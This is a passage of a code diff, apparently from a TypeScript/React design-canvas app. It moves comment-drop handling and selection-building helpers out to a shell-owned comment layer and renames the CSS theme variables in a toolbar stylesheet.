- if (!stamped.closest('.dc-artboard-body')) continue;
1043
- const artboardEl = stamped.closest('[data-dc-screen]');
1044
- target = {
1045
- el: stamped,
1046
- cdId: stamped.getAttribute('data-cd-id'),
1047
- artboardId: artboardEl?.getAttribute('data-dc-screen') ?? null,
1048
- };
1049
- break;
1050
- }
1051
- }
1052
- if (!target) {
1053
- // Floating comment fallback — no element anchor, just a click
1054
- // point. The overlay still renders a pin at the stored bounds.
1055
- if (typeof window === 'undefined' || typeof document === 'undefined') return;
1056
- const floatingSel: Selection = {
1057
- file: deriveFile(),
1058
- id: undefined,
1059
- selector: '',
1060
- artboardId: null,
1061
- tag: '',
1062
- classes: '',
1063
- text: '',
1064
- dom_path: [],
1065
- bounds: { x: clientX - 12, y: clientY - 12, w: 24, h: 24 },
1066
- html: '',
1067
- };
1068
- try {
1069
- document.dispatchEvent(
1070
- new CustomEvent('cm:open-composer', {
1071
- detail: { selection: floatingSel, clientX, clientY },
1072
- })
1073
- );
1074
- } catch {
1075
- /* ignore */
1076
- }
1077
- try {
1078
- window.parent.postMessage({ dgn: 'comment-compose', selection: floatingSel }, '*');
1079
- } catch {
1080
- /* parent detached */
1081
- }
1082
- return;
1083
- }
1084
- const sel = hoverTargetToSelection(target);
1085
- // Commit the target to the selection set so the halo persists while
1086
- // the composer is open. The user clears by:
1087
- // - submit / cancel on the composer (overlay dispatches force-clear)
1088
- // - pressing Esc inside the canvas (router's onEscape → clear)
1089
- // - clicking another element in comment mode (this handler runs
1090
- // again and replaces)
1091
- selSet.replace(sel);
1092
- if (typeof window === 'undefined' || typeof document === 'undefined') return;
1093
- // Phase 6 — open the in-place composer inside the iframe at the click
1094
- // point. Custom event is iframe-local so the overlay can subscribe
1095
- // without round-tripping through the parent shell.
1096
- try {
1097
- document.dispatchEvent(
1098
- new CustomEvent('cm:open-composer', {
1099
- detail: { selection: sel, clientX, clientY },
1100
- })
1101
- );
1102
- } catch {
1103
- /* CustomEvent absent — fall through to legacy parent path */
1104
- }
1105
- // Still post to parent for back-compat with any legacy `.html` mocks
1106
- // whose inspector script consumes `comment-compose`.
1107
- try {
1108
- window.parent.postMessage({ dgn: 'comment-compose', selection: sel }, '*');
1109
- } catch {
1110
- /* parent detached */
1111
- }
1112
- },
1352
+ // onDropComment is intentionally absent the comment drop is owned by
1353
+ // the shell-owned comment mount layer's router (canvas-comment-mount.tsx),
1354
+ // which sits as an ancestor capture-listener over this canvas. In comment
1355
+ // mode that ancestor claims `drop-comment` before this router sees it.
1113
1356
  },
1114
1357
  });
1115
1358
 
1116
1359
  return (
1117
1360
  <>
1118
1361
  {children}
1119
- <CommentsOverlay />
1362
+ {/* CommentsOverlay is mounted ONCE by the shell-owned comment mount layer
1363
+ (canvas-comment-mount.tsx), not here — single instance per surface. */}
1120
1364
  <AnnotationsLayer />
1121
1365
  <ToolPalette />
1122
1366
  <ArtboardMarqueeOverlay />
@@ -1155,14 +1399,14 @@ const MULTI_TOOLBAR_CSS = `
1155
1399
  align-items: stretch;
1156
1400
  gap: 2px;
1157
1401
  padding: 4px;
1158
- background: var(--u-bg-0, var(--bg-0, #ffffff));
1159
- border: 1px solid var(--u-fg-0, #1c1917);
1402
+ background: var(--maude-chrome-bg-0, #ffffff);
1403
+ border: 1px solid var(--maude-chrome-fg-0, #1c1917);
1160
1404
  border-radius: 8px;
1161
- box-shadow: 0 6px 24px color-mix(in oklab, var(--u-fg-0, #1c1917) 10%, transparent);
1162
- font-family: var(--u-font-mono, ui-monospace, SFMono-Regular, Menlo, monospace);
1405
+ box-shadow: 0 6px 24px var(--maude-chrome-shadow, color-mix(in oklab, #1c1917 10%, transparent));
1406
+ font-family: var(--maude-chrome-font-mono, ui-monospace, SFMono-Regular, Menlo, monospace);
1163
1407
  font-size: 11px;
1164
1408
  letter-spacing: 0.02em;
1165
- color: var(--u-fg-0, #1a1a1a);
1409
+ color: var(--maude-chrome-fg-0, #1a1a1a);
1166
1410
  user-select: none;
1167
1411
  }
1168
1412
  .dc-multi-artboard-tb button {
@@ -1188,8 +1432,8 @@ const MULTI_TOOLBAR_CSS = `
1188
1432
  }
1189
1433
  .dc-multi-artboard-tb .dc-mab-count {
1190
1434
  padding: 4px 8px 4px 10px;
1191
- color: var(--fg-1, rgba(40,30,20,0.7));
1192
- border-right: 1px solid var(--u-border-subtle, rgba(0,0,0,0.08));
1435
+ color: var(--maude-chrome-fg-1, rgba(40,30,20,0.7));
1436
+ border-right: 1px solid var(--maude-chrome-border, rgba(0,0,0,0.08));
1193
1437
  margin-right: 2px;
1194
1438
  font-variant-numeric: tabular-nums;
1195
1439
  }
@@ -1201,7 +1445,7 @@ const MULTI_TOOLBAR_CSS = `
1201
1445
  .dc-multi-artboard-tb .dc-mab-divider {
1202
1446
  width: 1px;
1203
1447
  align-self: stretch;
1204
- background: var(--u-border-subtle, rgba(0,0,0,0.10));
1448
+ background: var(--maude-chrome-border, rgba(0,0,0,0.10));
1205
1449
  margin: 0 4px;
1206
1450
  }
1207
1451
  @media (prefers-reduced-motion: reduce) {
@@ -1669,137 +1913,6 @@ function classifyContextKind(target: HoverTarget | null): ContextTargetKind {
1669
1913
  return 'world';
1670
1914
  }
1671
1915
 
1672
- function hoverTargetToSelection(target: HoverTarget): Selection {
1673
- const el = target.el;
1674
- const rect =
1675
- el && (el as HTMLElement).getBoundingClientRect
1676
- ? (el as HTMLElement).getBoundingClientRect()
1677
- : null;
1678
- // `cdId` is the hit element's OWN data-cd-id (deep mode); resolver never
1679
- // climbs to an ancestor. Falls back to cssPath of the hit when no stable
1680
- // anchor exists.
1681
- const cdId = target.cdId;
1682
- // Selector resolution order:
1683
- // 1. data-cd-id anchor — stable pipeline-stamped id (preferred).
1684
- // 2. data-dc-screen — chrome click promoted to whole-artboard select
1685
- // (T24.5 G8 multi-artboard gesture).
1686
- // 3. cssPath of the hit — last-resort path string.
1687
- const selector = cdId
1688
- ? `[data-cd-id="${cdId}"]`
1689
- : !cdId && target.artboardId
1690
- ? `[data-dc-screen="${target.artboardId}"]`
1691
- : cssPath(el);
1692
- return {
1693
- file: typeof window !== 'undefined' ? deriveFile() : undefined,
1694
- id: cdId ?? undefined,
1695
- selector,
1696
- artboardId: target.artboardId,
1697
- tag: el?.tagName.toLowerCase() ?? '',
1698
- classes: realClasses(el),
1699
- text: shortText(el, 240),
1700
- dom_path: domPath(el),
1701
- bounds: rect
1702
- ? {
1703
- x: Math.round(rect.left),
1704
- y: Math.round(rect.top),
1705
- w: Math.round(rect.width),
1706
- h: Math.round(rect.height),
1707
- }
1708
- : null,
1709
- html: el ? (el.outerHTML ?? '').slice(0, 4000) : '',
1710
- };
1711
- }
1712
-
1713
- function deriveFile(): string | undefined {
1714
- try {
1715
- const p = window.location.pathname;
1716
- if (p === '/_canvas-shell.html' || p === '/_canvas-shell') {
1717
- const qs = new URLSearchParams(window.location.search);
1718
- const canvas = qs.get('canvas') ?? '';
1719
- const designRel = (qs.get('designRel') ?? '.design').replace(/^\/+|\/+$/g, '');
1720
- return `${designRel}/${canvas}`;
1721
- }
1722
- return decodeURIComponent(p).replace(/^\//, '');
1723
- } catch {
1724
- return undefined;
1725
- }
1726
- }
1727
-
1728
- function realClasses(el: Element | null): string {
1729
- if (!el) return '';
1730
- return (el.getAttribute('class') ?? '')
1731
- .trim()
1732
- .split(/\s+/)
1733
- .filter((c) => c && !c.startsWith('dgn-') && !c.startsWith('dc-cv-'))
1734
- .join(' ');
1735
- }
1736
-
1737
- function shortText(el: Element | null, max: number): string {
1738
- if (!el) return '';
1739
- const t = ((el as HTMLElement).innerText || el.textContent || '').replace(/\s+/g, ' ').trim();
1740
- return t.length > max ? `${t.slice(0, max - 1)}…` : t;
1741
- }
1742
-
1743
- function cssPath(el: Element | null): string {
1744
- if (!el) return '';
1745
- const path: string[] = [];
1746
- let cur: Element | null = el;
1747
- while (cur && cur.nodeType === 1 && path.length < 8) {
1748
- const dscEl = cur.getAttribute?.('data-dc-element');
1749
- if (dscEl) {
1750
- path.unshift(`[data-dc-element="${dscEl}"]`);
1751
- break;
1752
- }
1753
- const dscSc = cur.getAttribute?.('data-dc-screen');
1754
- if (dscSc) {
1755
- path.unshift(`[data-dc-screen="${dscSc}"]`);
1756
- break;
1757
- }
1758
- let sel = cur.nodeName.toLowerCase();
1759
- if (cur.id) {
1760
- sel = `#${cur.id}`;
1761
- path.unshift(sel);
1762
- break;
1763
- }
1764
- const cls = realClasses(cur).split(/\s+/).filter(Boolean).slice(0, 2);
1765
- if (cls.length) sel += `.${cls.join('.')}`;
1766
- let sib = 1;
1767
- let n: Element | null = cur.previousElementSibling;
1768
- while (n) {
1769
- sib++;
1770
- n = n.previousElementSibling;
1771
- }
1772
- sel += `:nth-child(${sib})`;
1773
- path.unshift(sel);
1774
- cur = cur.parentElement;
1775
- }
1776
- return path.join(' > ');
1777
- }
1778
-
1779
- function domPath(el: Element | null): string[] {
1780
- const hops: string[] = [];
1781
- let cur = el;
1782
- while (cur && cur.nodeType === 1 && hops.length < 8) {
1783
- let label = cur.nodeName.toLowerCase();
1784
- const dEl = cur.getAttribute?.('data-dc-element');
1785
- const dSc = cur.getAttribute?.('data-dc-screen');
1786
- if (dEl) label += `[data-dc-element="${dEl}"]`;
1787
- else if (dSc) label += `[data-dc-screen="${dSc}"]`;
1788
- else if (cur.id) label += `#${cur.id}`;
1789
- const cls = realClasses(cur).split(/\s+/).filter(Boolean).slice(0, 2);
1790
- if (cls.length && !dEl && !dSc) label += `.${cls.join('.')}`;
1791
- hops.unshift(label);
1792
- cur = cur.parentElement;
1793
- }
1794
- return hops;
1795
- }
1796
-
1797
- function cssEscape(s: string): string {
1798
- // Minimal CSS.escape polyfill — only handles chars actually present in
1799
- // pipeline-stamped IDs (alphanumerics + `-` + `_`).
1800
- return s.replace(/[^a-zA-Z0-9_-]/g, (c) => `\\${c}`);
1801
- }
1802
-
1803
1916
  function safeQuery(selector: string): Element | null {
1804
1917
  try {
1805
1918
  return document.querySelector(selector);